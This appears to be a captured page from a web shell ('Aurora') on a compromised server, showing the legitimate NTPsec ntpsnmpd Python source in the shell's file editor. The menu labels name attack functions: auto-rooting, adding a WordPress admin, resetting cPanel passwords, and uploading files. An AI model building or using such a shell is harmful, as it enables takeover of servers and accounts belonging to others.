Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
bin
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: ntpsnmpd
#! /usr/bin/python3 -s # -*- coding: utf-8 -*- from __future__ import print_function, division import sys import os import getopt import time import socket import subprocess try: import ntp.packet import ntp.util import ntp.agentx_packet ax = ntp.agentx_packet from ntp.agentx import PacketControl except ImportError as e: sys.stderr.write( "ntpsnmpd: can't find Python NTP library.\n") sys.stderr.write("%s\n" % e) sys.exit(1) # TODO This is either necessary, or a different workaround is. ntp.util.deunicode_units() logfp = sys.stderr nofork = False debug = 0 defaultTimeout = 30 log = (lambda msg, msgdbg: ntp.util.dolog(logfp, msg, debug, msgdbg)) ntpRootOID = (1, 3, 6, 1, 2, 1, 197) # mib-2 . 197, aka: NTPv4-MIB snmpTrapOID = (1, 3, 6, 1, 6, 3, 1, 1, 4, 1, 0) snmpSysUptime = (1, 3, 6, 1, 2, 1, 1, 3, 0) DEFHOST = "localhost" DEFLOG = "ntpsnmpd.log" class DataSource(ntp.agentx.MIBControl): def __init__(self, hostname=DEFHOST, settingsFile=None, notifySpin=0.1): # This is defined as a dict tree because it is simpler, and avoids # certain edge cases # OIDs are relative from ntp root ntp.agentx.MIBControl.__init__(self, mibRoot=ntpRootOID) # MIB node init # block 0 self.addNode((0,)) # ntpEntNotifications self.addNode((0, 1)) # ntpEntNotifModeChange self.addNode((0, 2)) # ntpEntNotifStratumChange self.addNode((0, 3)) # ntpEntNotifSyspeerChange self.addNode((0, 4)) # ntpEntNotifAddAssociation self.addNode((0, 5)) # ntpEntNotifRemoveAsociation self.addNode((0, 6)) # ntpEntNotifConfigChanged self.addNode((0, 7)) # ntpEntNotifLeapSecondAnnounced self.addNode((0, 8)) # ntpEntNotifHeartbeat # block 1 # block 1, 1 self.addNode((1, 1, 1, 0), # ntpNetSoftwareName utf8str (lambda oid: self.cbr_systemInfo(oid, "name"))) self.addNode((1, 1, 2, 0), # ntpEntSoftwareVersion utf8str (lambda oid: self.cbr_systemInfo(oid, "version"))) self.addNode((1, 1, 3, 0), # ntpEntSoftwareVendor utf8str (lambda oid: self.cbr_systemInfo(oid, "vendor"))) self.addNode((1, 1, 4, 0), # ntpEntSystemType utf8str (lambda oid: self.cbr_systemInfo(oid, "system"))) self.addNode((1, 1, 5, 0), # ntpEntTimeResolution uint32 self.cbr_timeResolution) self.addNode((1, 1, 6, 0), # ntpEntTimePrecision int32 self.cbr_timePrecision) self.addNode((1, 1, 7, 0), # ntpEntTimeDistance DisplayString self.cbr_timeDistance) # block 1, 2 self.addNode((1, 2, 1, 0), # ntpEntStatusCurrentMode INTEGER {...} self.cbr_statusCurrentMode) self.addNode((1, 2, 2, 0), # ntpEntStatusStratum NtpStratum self.cbr_statusStratum) self.addNode((1, 2, 3, 0), # ntpEntStatusActiveRefSourceId uint32 self.cbr_statusActiveRefSourceID) self.addNode((1, 2, 4, 0), # ntpEntStatusActiveRefSourceName utf8str self.cbr_statusActiveRefSourceName) self.addNode((1, 2, 5, 0), # ntpEntStatusActiveOffset DisplayString self.cbr_statusActiveOffset) self.addNode((1, 2, 6, 0), # ntpEntStatusNumberOfRefSources unit32 self.cbr_statusNumRefSources) self.addNode((1, 2, 7, 0), # ntpEntStatusDispersion DisplayString self.cbr_statusDispersion) self.addNode((1, 2, 8, 0), # ntpEntStatusEntityUptime TimeTicks self.cbr_statusEntityUptime) self.addNode((1, 2, 9, 0), # ntpEntStatusDateTime NtpDateTime self.cbr_statusDateTime) self.addNode((1, 2, 10, 0), # ntpEntStatusLeapSecond NtpDateTime self.cbr_statusLeapSecond) self.addNode((1, 2, 11, 0), # ntpEntStatusLeapSecondDirection int32 self.cbr_statusLeapSecDirection) self.addNode((1, 2, 12, 0), # ntpEntStatusInPkts Counter32 self.cbr_statusInPkts) self.addNode((1, 2, 13, 0), # ntpEntStatusOutPkts Counter32 self.cbr_statusOutPkts) self.addNode((1, 2, 14, 0), # ntpEntStatusBadVersion Counter32 self.cbr_statusBadVersion) self.addNode((1, 2, 15, 0), # ntpEntStatusProtocolError Counter32 self.cbr_statusProtocolError) self.addNode((1, 2, 16, 0), # ntpEntStatusNotifications Counter32 self.cbr_statusNotifications) self.addNode((1, 2, 17, 1, 1)) # ntpEntStatPktMode INTEGER {...} self.addNode((1, 2, 17, 1, 2)) # ntpEntStatPktSent Counter32 self.addNode((1, 2, 17, 1, 3)) # ntpEntStatPktRecived Counter32 # block 1, 3 self.addNode((1, 3, 1, 1, 1), # ntpAssocId uint32 (1..99999) dynamic=self.sub_assocID) self.addNode((1, 3, 1, 1, 2), # ntpAssocName utf8str dynamic=self.sub_assocName) self.addNode((1, 3, 1, 1, 3), # ntpAssocRefId DisplayString dynamic=self.sub_assocRefID) self.addNode((1, 3, 1, 1, 4), # ntpAssocAddressType InetAddressType dynamic=self.sub_assocAddrType) self.addNode((1, 3, 1, 1, 5), # ntpAssocAddress InetAddress SIZE dynamic=self.sub_assocAddr) self.addNode((1, 3, 1, 1, 6), # ntpAssocOffset DisplayString dynamic=self.sub_assocOffset) self.addNode((1, 3, 1, 1, 7), # ntpAssocStratum NtpStratum dynamic=self.sub_assocStratum) self.addNode((1, 3, 1, 1, 8), # ntpAssocStatusJitter DisplayString dynamic=self.sub_assocJitter) self.addNode((1, 3, 1, 1, 9), # ntpAssocStatusDelay DisplayString dynamic=self.sub_assocDelay) self.addNode((1, 3, 1, 1, 10), # ntpAssocStatusDispersion DisplayStr dynamic=self.sub_assocDispersion) self.addNode((1, 3, 2, 1, 1), # ntpAssocStatInPkts Counter32 dynamic=self.sub_assocStatInPkts) self.addNode((1, 3, 2, 1, 2), # ntpAssocStatOutPkts Counter32 dynamic=self.sub_assocStatOutPkts) self.addNode((1, 3, 2, 1, 3), # ntpAssocStatProtocolError Counter32 dynamic=self.sub_assocStatProtoErr) # block 1, 4 self.addNode((1, 4, 1, 0), # ntpEntHeartbeatInterval unit32 self.cbr_entHeartbeatInterval, self.cbw_entHeartbeatInterval) self.addNode((1, 4, 2, 0), # ntpEntNotifBits BITS {...} self.cbr_entNotifBits, self.cbw_entNotifBits) # block 1, 5 self.addNode((1, 5, 1, 0), # ntpEntNotifMessage utf8str self.cbr_entNotifMessage) # block 2 # all compliance statements # print(repr(self.oidTree)) # print(self.oidTree[1]["subids"][1][1][0]) self.session = ntp.packet.ControlSession() self.hostname = hostname if hostname else DEFHOST self.session.openhost(self.hostname) self.settingsFilename = settingsFile # Cache so we don't hammer ntpd, default 1 second timeout # Timeout default pulled from a hat: we don't want it to last for # long, just not flood ntpd with duplicatte requests during a walk. self.cache = ntp.util.Cache(1) self.oldValues = {} # Used by notifications to detect changes # spinGap so we don't spam ntpd with requests during notify checks self.notifySpinTime = notifySpin self.lastNotifyCheck = 0 self.lastHeartbeat = 0 # Timestamp used for heartbeat notifications self.heartbeatInterval = 0 # should save to disk self.sentNotifications = 0 # Notify bits, they control whether the daemon sends notifications. # these are saved to disk self.notifyModeChange = False # 1 self.notifyStratumChange = False # 2 self.notifySyspeerChange = False # 3 self.notifyAddAssociation = False # 4 self.notifyRMAssociation = False # 5 self.notifyConfigChange = False # 6 [This is not implemented] self.notifyLeapSecondAnnounced = False # 7 self.notifyHeartbeat = False # 8 self.misc_loadDynamicSettings() # ============================================================= # Data read callbacks start here # comment divider lines represent not yet implemented callbacks # ============================================================= # Blank: notification OIDs def cbr_systemInfo(self, oid, category=None): if category == "name": # The product name of the running NTP data = "NTPsec" elif category == "version": # version string data = ntp.util.stdversion() elif category == "vendor": # vendor/author name data = "Internet Civil Engineering Institute" elif category == "system": # system / hardware info proc = subprocess.Popen(["uname", "-srm"], stdout=subprocess.PIPE) data = proc.communicate()[0] vb = ax.Varbind(ax.VALUE_OCTET_STR, oid, data) return vb def cbr_timeResolution(self, oid): # Uinteger32 # Arrives in fractional milliseconds fuzz = self.safeReadvar(0, ["fuzz"]) if fuzz is None: return None fuzz = fuzz["fuzz"] # We want to emit fractions of seconds # Yes we are flooring instead of rounding: don't want to emit a # resolution value higher than ntpd actually produces. if fuzz != 0: fuzz = int(1 / fuzz) else: fuzz = 0 return ax.Varbind(ax.VALUE_GAUGE32, oid, fuzz) def cbr_timePrecision(self, oid): return self.readCallbackSkeletonSimple(oid, "precision", ax.VALUE_INTEGER) def cbr_timeDistance(self, oid): # Displaystring data = self.safeReadvar(0, ["rootdist"], raw=True) if data is None: return None data = ntp.util.unitifyvar(data["rootdist"][1], "rootdist", width=None, unitSpace=True) return ax.Varbind(ax.VALUE_OCTET_STR, oid, data) # Blank: ntpEntStatus def cbr_statusCurrentMode(self, oid): mode = self.misc_getMode() return ax.Varbind(ax.VALUE_INTEGER, oid, mode) def cbr_statusStratum(self, oid): # NTPstratum return self.readCallbackSkeletonSimple(oid, "stratum", ax.VALUE_GAUGE32) def cbr_statusActiveRefSourceID(self, oid): # range of uint32 syspeer = self.misc_getSyspeerID() return ax.Varbind(ax.VALUE_GAUGE32, oid, syspeer) def cbr_statusActiveRefSourceName(self, oid): # utf8 data = self.safeReadvar(0, ["peeradr"]) if data is None: return None data = ntp.util.canonicalize_dns(data["peeradr"]) return ax.Varbind(ax.VALUE_OCTET_STR, oid, data) def cbr_statusActiveOffset(self, oid): # DisplayString data = self.safeReadvar(0, ["koffset"], raw=True) if data is None: return None data = ntp.util.unitifyvar(data["koffset"][1], "koffset", width=None, unitSpace=True) return ax.Varbind(ax.VALUE_OCTET_STR, oid, data) def cbr_statusNumRefSources(self, oid): # range of uint32 try: data = self.session.readstat() return ax.Varbind(ax.VALUE_GAUGE32, oid, len(data)) except ntp.packet.ControlException: return None def cbr_statusDispersion(self, oid): # DisplayString data = self.safeReadvar(0, ["rootdisp"], raw=True) if data is None: return None return ax.Varbind(ax.VALUE_OCTET_STR, oid, data["rootdisp"][1]) def cbr_statusEntityUptime(self, oid): # TimeTicks # What the spec claims: # The uptime of the NTP entity, (i.e., the time since ntpd was # (re-)initialized not sysUptime!). The time is represented in # hundreds of seconds since Jan 1, 1970 (00:00:00.000) UTC. # # First problem: TimeTicks represents hundred*ths* of seconds, could # easily be a typo. # Second problem: snmpwalk will happily give you a display of # how long a period of time a value is, such as uptime since start. # That is the opposite of what the spec claims. # # I am abandoning the spec, and going with what makes a lick of sense uptime = self.safeReadvar(0, ["ss_reset"]) if uptime is None: return None uptime = uptime["ss_reset"] * 100 return ax.Varbind(ax.VALUE_TIME_TICKS, oid, uptime) def cbr_statusDateTime(self, oid): # NtpDateTime data = self.safeReadvar(0, ["reftime"]) if data is None: return None txt = data["reftime"] value = ntp.util.deformatNTPTime(txt) return ax.Varbind(ax.VALUE_OCTET_STR, oid, value) def cbr_statusLeapSecond(self, oid): # I am not confident in this yet # NtpDateTime DAY = 86400 fmt = "%.8x%.8x" data = self.safeReadvar(0, ["reftime"]) hasleap = self.safeReadvar(0, ["leap"]) if (data is None) or (hasleap is None): return None data = data["reftime"] hasleap = hasleap["leap"] if hasleap in (1, 2): seconds = int(data.split(".")[0], 0) days = seconds // DAY scheduled = (days * DAY) + (DAY - 1) # 23:59:59 of $CURRENT_DAY formatted = fmt % (scheduled, 0) else: formatted = fmt % (0, 0) value = ntp.util.hexstr2octets(formatted) return ax.Varbind(ax.VALUE_OCTET_STR, oid, value) def cbr_statusLeapSecDirection(self, oid): # range of int32 leap = self.safeReadvar(0, ["leap"]) if leap is None: return None leap = leap["leap"] if leap == 1: pass # leap 1 == forward elif leap == 2: leap = -1 # leap 2 == backward else: leap = 0 # leap 0 or 3 == no change return ax.Varbind(ax.VALUE_INTEGER, oid, leap) def cbr_statusInPkts(self, oid): return self.readCallbackSkeletonSimple(oid, "io_received", ax.VALUE_COUNTER32) def cbr_statusOutPkts(self, oid): return self.readCallbackSkeletonSimple(oid, "io_sent", ax.VALUE_COUNTER32) def cbr_statusBadVersion(self, oid): return self.readCallbackSkeletonSimple(oid, "ss_oldver", ax.VALUE_COUNTER32) def cbr_statusProtocolError(self, oid): data = self.safeReadvar(0, ["ss_badformat", "ss_badauth"]) if data is None: return None protoerr = 0 for key in data.keys(): protoerr += data[key] return ax.Varbind(ax.VALUE_COUNTER32, oid, protoerr) def cbr_statusNotifications(self, oid): return ax.Varbind(ax.VALUE_COUNTER32, oid, self.sentNotifications) ############################## # == Dynamics == # assocID # assocName # assocRefID # assocAddrType # assocAddr # assocOffset # assocStratum # assocJitter # assocDelay # assocDispersion # assocInPackets # assocOutPackets # assocProtocolErrors ######################### def cbr_entHeartbeatInterval(self, oid): # uint32 return ax.Varbind(ax.VALUE_GAUGE32, oid, self.heartbeatInterval) def cbr_entNotifBits(self, oid): # BITS data = ax.bools2Bits((False, # notUsed(0) self.notifyModeChange, self.notifyStratumChange, self.notifySyspeerChange, self.notifyAddAssociation, self.notifyRMAssociation, self.notifyConfigChange, self.notifyLeapSecondAnnounced, self.notifyHeartbeat)) return ax.Varbind(ax.VALUE_OCTET_STR, oid, data) ########################## def cbr_entNotifMessage(self, oid): # utf8str return ax.Varbind(ax.VALUE_OCTET_STR, oid, "no event") ######################### # ===================================== # Data write callbacks # Returns an error value (or noError) # Must check that the value is correct for the bind, this does not mean # the type: the master agent handles that # Actions: test, undo, commit, cleanup # ===================================== def cbw_entHeartbeatInterval(self, action, varbind, oldData=None): if action == "test": return ax.ERR_NOERROR elif action == "commit": self.heartbeatInterval = varbind.payload self.misc_storeDynamicSettings() return ax.ERR_NOERROR elif action == "undo": self.heartbeatInterval = oldData self.misc_storeDynamicSettings() return ax.ERR_NOERROR elif action == "cleanup": pass def cbw_entNotifBits(self, action, varbind, oldData=None): if action == "test": return ax.ERR_NOERROR elif action == "commit": (self.notifyModeChange, self.notifyStratumChange, self.notifySyspeerChange, self.notifyAddAssociation, self.notifyRMAssociation, self.notifyConfigChange, self.notifyLeapSecondAnnounced, self.notifyHeartbeat) = ax.bits2Bools(varbind.payload, 8) self.misc_storeDynamicSettings() return ax.ERR_NOERROR elif action == "undo": (self.notifyModeChange, self.notifyStratumChange, self.notifySyspeerChange, self.notifyAddAssociation, self.notifyRMAssociation, self.notifyConfigChange, self.notifyLeapSecondAnnounced, self.notifyHeartbeat) = ax.bits2Bools(oldData, 8) self.misc_storeDynamicSettings() return ax.ERR_NOERROR elif action == "cleanup": pass # ======================================================================== # Dynamic tree generator callbacks # # The structure of these callbacks is somewhat complicated because they # share code that is potentially finicky. # # The dynamicCallbackSkeleton() method handles the construction of the # MIB tree, and the placement of the handler() within it. It also provides # some useful data to the handler() via the readCallback() layer. # ======================================================================== # Packet Mode Table # These are left as stubs for now. Information is lacking on where the # data should come from. def sub_statPktMode(self): pass def sub_statPktSent(self): pass def sub_statPktRecv(self): pass # Association Table def sub_assocID(self): def handler(oid, associd): return ax.Varbind(ax.VALUE_GAUGE32, oid, associd) return self.dynamicCallbackSkeleton(handler) def sub_assocName(self): return self.dynamicCallbackPeerdata("srcadr", True, ax.VALUE_OCTET_STR) def sub_assocRefID(self): def handler(oid, associd): pdata = self.misc_getPeerData() if pdata is None: return None # elaborate code in util.py indicates this may not be stable try: refid = pdata[associd]["refid"][1] except IndexError: refid = "" return ax.Varbind(ax.VALUE_OCTET_STR, oid, refid) return self.dynamicCallbackSkeleton(handler) def sub_assocAddrType(self): def handler(oid, associd): pdata = self.misc_getPeerData() if pdata is None: return None srcadr = pdata[associd]["srcadr"][1] try: socklen = len(socket.getaddrinfo(srcadr, None)[0][-1]) except socket.gaierror: socklen = None if socklen == 2: # ipv4 addrtype = 1 elif socklen == 4: # ipv6 addrtype = 2 else: # there is also ipv4z and ipv6z..... don't know how to # detect those yet. Or if I even need to. addrtype = 0 # is this ok? or should it return a NULL? return ax.Varbind(ax.VALUE_INTEGER, oid, addrtype) return self.dynamicCallbackSkeleton(handler) def sub_assocAddr(self): def handler(oid, associd): pdata = self.misc_getPeerData() if pdata is None: return None srcadr = pdata[associd]["srcadr"][1] # WARNING: I am only guessing that this is correct # Discover what type of address we have try: sockinfo = socket.getaddrinfo(srcadr, None)[0][-1] addr = sockinfo[0] ipv6 = True if len(sockinfo) == 4 else False except socket.gaierror: addr = None # how to handle? ipv6 = None # Convert address string to octets srcadr = [] if not ipv6: pieces = addr.split(".") for piece in pieces: try: srcadr.append(int(piece)) # feed it a list of ints except ValueError: # Have gotten piece == "" before. Skip over that. # Still try to return data because it is potential # debugging information. continue elif ipv6: pieces = addr.split(":") for piece in pieces: srcadr.append(ntp.util.hexstr2octets(piece)) srcadr = "".join(srcadr) # feed it an octet string # The octet string encoder can handle either chars or 0-255 # ints. We use both of those options. return ax.Varbind(ax.VALUE_OCTET_STR, oid, srcadr) return self.dynamicCallbackSkeleton(handler) def sub_assocOffset(self): def handler(oid, associd): pdata = self.misc_getPeerData() if pdata is None: return None offset = pdata[associd]["offset"][1] offset = ntp.util.unitifyvar(offset, "offset", width=None, unitSpace=True) return ax.Varbind(ax.VALUE_OCTET_STR, oid, offset) return self.dynamicCallbackSkeleton(handler) def sub_assocStratum(self): return self.dynamicCallbackPeerdata("stratum", False, ax.VALUE_GAUGE32) def sub_assocJitter(self): return self.dynamicCallbackPeerdata("jitter", True, ax.VALUE_OCTET_STR) def sub_assocDelay(self): return self.dynamicCallbackPeerdata("delay", True, ax.VALUE_OCTET_STR) def sub_assocDispersion(self): return self.dynamicCallbackPeerdata("rootdisp", True, ax.VALUE_OCTET_STR) def sub_assocStatInPkts(self): def handler(oid, associd): inpkts = self.safeReadvar(associd, ["received"]) if inpkts is None: return None inpkts = inpkts["received"] return ax.Varbind(ax.VALUE_COUNTER32, oid, inpkts) return self.dynamicCallbackSkeleton(handler) def sub_assocStatOutPkts(self): def handler(oid, associd): outpkts = self.safeReadvar(associd, ["sent"]) if outpkts is None: return None outpkts = outpkts["sent"] return ax.Varbind(ax.VALUE_COUNTER32, oid, outpkts) return self.dynamicCallbackSkeleton(handler) def sub_assocStatProtoErr(self): def handler(oid, associd): pvars = self.safeReadvar(associd, ["badauth", "bogusorg", "seldisp", "selbroken"]) if pvars is None: return None protoerr = 0 for key in pvars.keys(): protoerr += pvars[key] return ax.Varbind(ax.VALUE_COUNTER32, oid, protoerr) return self.dynamicCallbackSkeleton(handler) # ===================================== # Notification handlers # ===================================== def checkNotifications(self, control): currentTime = time.time() if (currentTime - self.lastNotifyCheck) < self.notifySpinTime: return self.lastNotifyCheck = currentTime if self.notifyModeChange: self.doNotifyModeChange(control) if self.notifyStratumChange: self.doNotifyStratumChange(control) if self.notifySyspeerChange: self.doNotifySyspeerChange(control) # Both add and remove have to look at the same data, don't want them # stepping on each other. Therefore the functions are combined. if self.notifyAddAssociation and self.notifyRMAssociation: self.doNotifyChangeAssociation(control, "both") elif self.notifyAddAssociation: self.doNotifyChangeAssociation(control, "add") elif self.notifyRMAssociation: self.doNotifyChangeAssociation(control, "rm") if self.notifyConfigChange: self.doNotifyConfigChange(control) if self.notifyLeapSecondAnnounced: self.doNotifyLeapSecondAnnounced(control) if self.notifyHeartbeat: self.doNotifyHeartbeat(control) def doNotifyModeChange(self, control): oldMode = self.oldValues.get("mode") newMode = self.misc_getMode() # connection failure handled by method if oldMode is None: self.oldValues["mode"] = newMode return elif oldMode != newMode: self.oldValues["mode"] = newMode vl = [ax.Varbind(ax.VALUE_OID, snmpTrapOID, ax.OID(ntpRootOID + (0, 1))), ax.Varbind(ax.VALUE_INTEGER, ntpRootOID + (1, 2, 1), newMode)] control.sendNotify(vl) self.sentNotifications += 1 def doNotifyStratumChange(self, control): oldStratum = self.oldValues.get("stratum") newStratum = self.safeReadvar(0, ["stratum"]) if newStratum is None: return # couldn't read newStratum = newStratum["stratum"] if oldStratum is None: self.oldValues["stratum"] = newStratum return elif oldStratum != newStratum: self.oldValues["stratum"] = newStratum datetime = self.safeReadvar(0, ["reftime"]) if datetime is None: datetime = "" else: datetime = ntp.util.deformatNTPTime(datetime["reftime"]) vl = [ax.Varbind(ax.VALUE_OID, snmpTrapOID, ax.OID(ntpRootOID + (0, 2))), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 2, 9), datetime), ax.Varbind(ax.VALUE_GAUGE32, ntpRootOID + (1, 2, 2), newStratum), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 5, 1), "Stratum changed")] # Uh... what goes here? control.sendNotify(vl) self.sentNotifications += 1 def doNotifySyspeerChange(self, control): oldSyspeer = self.oldValues.get("syspeer") newSyspeer = self.safeReadvar(0, ["peeradr"]) if newSyspeer is None: return # couldn't read newSyspeer = newSyspeer["peeradr"] if oldSyspeer is None: self.oldValues["syspeer"] = newSyspeer return elif oldSyspeer != newSyspeer: self.oldValues["syspeer"] = newSyspeer datetime = self.safeReadvar(0, ["reftime"]) if datetime is None: datetime = "" else: datetime = ntp.util.deformatNTPTime(datetime["reftime"]) syspeer = self.misc_getSyspeerID() vl = [ax.Varbind(ax.VALUE_OID, snmpTrapOID, ax.OID(ntpRootOID + (0, 3))), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 2, 9), datetime), ax.Varbind(ax.VALUE_GAUGE32, ntpRootOID + (1, 2, 3), syspeer), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 5, 1), "SysPeer changed")] # Uh... what goes here? control.sendNotify(vl) self.sentNotifications += 1 def doNotifyChangeAssociation(self, control, which): # Add and remove are combined because they use the same data source # and it would be easy to have them stepping on each other. changes = self.misc_getAssocListChanges() if changes is None: return datetime = self.safeReadvar(0, ["reftime"]) if datetime is None: datetime = "" else: datetime = ntp.util.deformatNTPTime(datetime["reftime"]) adds, rms = changes if which in ("add", "both"): for name in adds: vl = [ax.Varbind(ax.VALUE_OID, snmpTrapOID, ax.OID(ntpRootOID + (0, 4))), # Add ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 2, 9), datetime), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 3, 1, 1, 2), name), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 5, 1), "Association added")] control.sendNotify(vl) self.sentNotifications += 1 if which in ("rm", "both"): for name in rms: vl = [ax.Varbind(ax.VALUE_OID, snmpTrapOID, ax.OID(ntpRootOID + (0, 5))), # Remove ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 2, 9), datetime), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 3, 1, 1, 2), name), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 5, 1), "Association removed")] control.sendNotify(vl) self.sentNotifications += 1 def doNotifyConfigChange(self, control): # This left unimplemented because the MIB wants something we can't # and/or shouldn't provide pass def doNotifyLeapSecondAnnounced(self, control): oldLeap = self.oldValues.get("leap") newLeap = self.safeReadvar(0, ["leap"]) if newLeap is None: return newLeap = newLeap["leap"] if oldLeap is None: self.oldValues["leap"] = newLeap return if oldLeap != newLeap: self.oldValues["leap"] = newLeap if (oldLeap in (0, 3)) and (newLeap in (1, 2)): # changed noleap or unsync to a leap announcement datetime = self.safeReadvar(0, ["reftime"]) if datetime is None: datetime = "" else: datetime = ntp.util.deformatNTPTime(datetime["reftime"]) vl = [ax.Varbind(ax.VALUE_OID, snmpTrapOID, ax.OID(ntpRootOID + (0, 7))), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 2, 9), datetime), ax.Varbind(ax.VALUE_OCTET_STR, ntpRootOID + (1, 5, 1), "Leap second announced")] control.sendNotify(vl) self.sentNotifications += 1 def doNotifyHeartbeat(self, control): # TODO: check if ntpd running? vl = [ax.Varbind(ax.VALUE_OID, snmpTrapOID, ax.OID(ntpRootOID + (0, 8))), ax.Varbind(ax.VALUE_GAUGE32, ntpRootOID + (0, 1, 4, 1), self.heartbeatInterval)] if self.heartbeatInterval == 0: # interval == 0 means send once self.notifyHeartbeat = False control.sendNotify(vl) self.sentNotifications += 1 else: current = ntp.util.monoclock() if (current - self.lastHeartbeat) > self.heartbeatInterval: self.lastHeartbeat = current control.sendNotify(vl) self.sentNotifications += 1 # ===================================== # Misc data helpers (not part of the MIB proper) # ===================================== def misc_loadDynamicSettings(self): if self.settingsFilename is None: return def boolify(d, k): return True if d[k][0][1] == "True" else False optionList = ("notify-mode-change", "notify-stratum-change", "notify-syspeer-change", "notify-add-association", "notify-rm-association", "notify-leap-announced", "notify-heartbeat", "heartbeat-interval") settings = loadSettings(self.settingsFilename, optionList) if settings is None: return for key in settings.keys(): if key == "notify-mode-change": self.notifyModeChange = boolify(settings, key) elif key == "notify-stratum-change": self.notifyStratumChange = boolify(settings, key) elif key == "notify-syspeer-change": self.notifySyspeerChange = boolify(settings, key) elif key == "notify-add-association": self.notifyAddAssociation = boolify(settings, key) elif key == "notify-rm-association": self.notifyRMAssociation = boolify(settings, key) elif key == "notify-leap-announced": self.notifyLeapSecondAnnounced = boolify(settings, key) elif key == "notify-heartbeat": self.notifyHeartbeat = boolify(settings, key) elif key == "heartbeat-interval": self.heartbeatInterval = settings[key][0][1] def misc_storeDynamicSettings(self): if self.settingsFilename is None: return settings = {} settings["notify-mode-change"] = str(self.notifyModeChange) settings["notify-stratum-change"] = str(self.notifyStratumChange) settings["notify-syspeer-change"] = str(self.notifySyspeerChange) settings["notify-add-association"] = str(self.notifyAddAssociation) settings["notify-rm-association"] = str(self.notifyRMAssociation) settings["notify-leap-announced"] = str(self.notifyLeapSecondAnnounced) settings["notify-heartbeat"] = str(self.notifyHeartbeat) settings["heartbeat-interval"] = str(self.heartbeatInterval) storeSettings(self.settingsFilename, settings) def misc_getAssocListChanges(self): # We need to keep the names, because those won't be available # after they have been removed. oldAssoc = self.oldValues.get("assoc") newAssoc = {} # Yes, these are cached, for a very short time pdata = self.misc_getPeerData() if pdata is None: return ids = self.misc_getPeerIDs() if ids is None: return for associd in ids: addr = pdata[associd]["srcadr"][1] name = ntp.util.canonicalize_dns(addr) newAssoc[associd] = name if oldAssoc is None: self.oldValues["assoc"] = newAssoc return elif oldAssoc != newAssoc: oldIDs = oldAssoc.keys() newIDs = newAssoc.keys() adds = [] rms = [] for associd in oldIDs + newIDs: if associd not in newIDs: # removed rms.append(oldAssoc[associd]) if associd not in oldIDs: # added adds.append(newAssoc[associd]) return (adds, rms) return def misc_getMode(self): # FIXME: not fully implemented try: # Don't care about the data, this is a ploy to get the rstatus self.session.readvar(0, ["stratum"]) except ntp.packet.ControlException as e: if e.message == ntp.packet.SERR_SOCKET: # Can't connect, ntpd probably not running return 1 else: raise e rstatus = self.session.rstatus # a ploy to get the system status source = ntp.control.CTL_SYS_SOURCE(rstatus) if source == ntp.control.CTL_SST_TS_UNSPEC: mode = 2 # Not yet synced elif False: mode = 3 # No reference configured elif source == ntp.control.CTL_SST_TS_LOCAL: mode = 4 # Distributing local clock (low accuracy) elif source in (ntp.control.CTL_SST_TS_ATOM, ntp.control.CTL_SST_TS_LF, ntp.control.CTL_SST_TS_HF, ntp.control.CTL_SST_TS_UHF): # I am not sure if I should be including the radios in this mode = 5 # Synced to local refclock elif source == ntp.control.CTL_SST_TS_NTP: # Should this include "other"? That covers things like chrony... mode = 6 # Sync to remote NTP else: mode = 99 # Unknown return mode def misc_getSyspeerID(self): peers = self.misc_getPeerData() syspeer = 0 for associd in peers.keys(): rstatus = peers[associd]["peerstatus"] if (ntp.control.CTL_PEER_STATVAL(rstatus) & 0x7) == \ ntp.control.CTL_PST_SEL_SYSPEER: syspeer = associd break return syspeer def safeReadvar(self, associd, variables=None, raw=False): # Use this when we want to catch packet errors, but don't care # about what they are try: return self.session.readvar(associd, varlist=variables, raw=raw) except ntp.packet.ControlException: return None def dynamicCallbackPeerdata(self, variable, raw, valueType): rawindex = 1 if raw else 0 def handler(oid, associd): pdata = self.misc_getPeerData() if pdata is None: return None value = pdata[associd][variable][rawindex] return ax.Varbind(valueType, oid, value) return self.dynamicCallbackSkeleton(handler) def dynamicCallbackSkeleton(self, handler): # Build a dynamic MIB tree, installing the provided handler in it def readCallback(oid): # This function assumes that it is a leaf node and that the # last number in the OID is the index. index = oid.subids[-1] # if called properly this works (Ha!) index -= 1 # SNMP reserves index 0, effectively 1-based lists associd = self.misc_getPeerIDs()[index] return handler(oid, associd) subs = {} associds = self.misc_getPeerIDs() # need the peer count for i in range(len(associds)): subs[i+1] = {"reader": readCallback} return subs def readCallbackSkeletonSimple(self, oid, varname, dataType): # Used for entries that just need a simple variable retrevial # but do not need any processing. data = self.safeReadvar(0, [varname]) if data is None: return None else: return ax.Varbind(dataType, oid, data[varname]) def misc_getPeerIDs(self): peerids = self.cache.get("peerids") if peerids is None: try: peerids = [x.associd for x in self.session.readstat()] except ntp.packet.ControlException: peerids = [] peerids.sort() self.cache.set("peerids", peerids) return peerids def misc_getPeerData(self): peerdata = self.cache.get("peerdata") if peerdata is None: associds = self.misc_getPeerIDs() peerdata = {} for aid in associds: try: pdata = self.safeReadvar(aid, raw=True) pdata["peerstatus"] = self.session.rstatus except IOError: continue peerdata[aid] = pdata self.cache.set("peerdata", peerdata) return peerdata def connect(address): try: if type(address) is str: sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.connect(address) else: host, port = address[0], address[1] af, _, _, _, _ = socket.getaddrinfo(host, port)[0] sock = socket.socket(af, socket.SOCK_STREAM) sock.connect((host, port)) except socket.error as msg: log("Connection to %s failure: %s" % (repr(address), repr(msg)), 1) sys.exit(1) log("connected to master agent at " + repr(address), 3) return sock def mainloop(snmpSocket, reconnectionAddr, host=None): log("initing loop", 3) dbase = DataSource(host, "/var/ntpsntpd/notify.conf") while True: # Loop reconnection 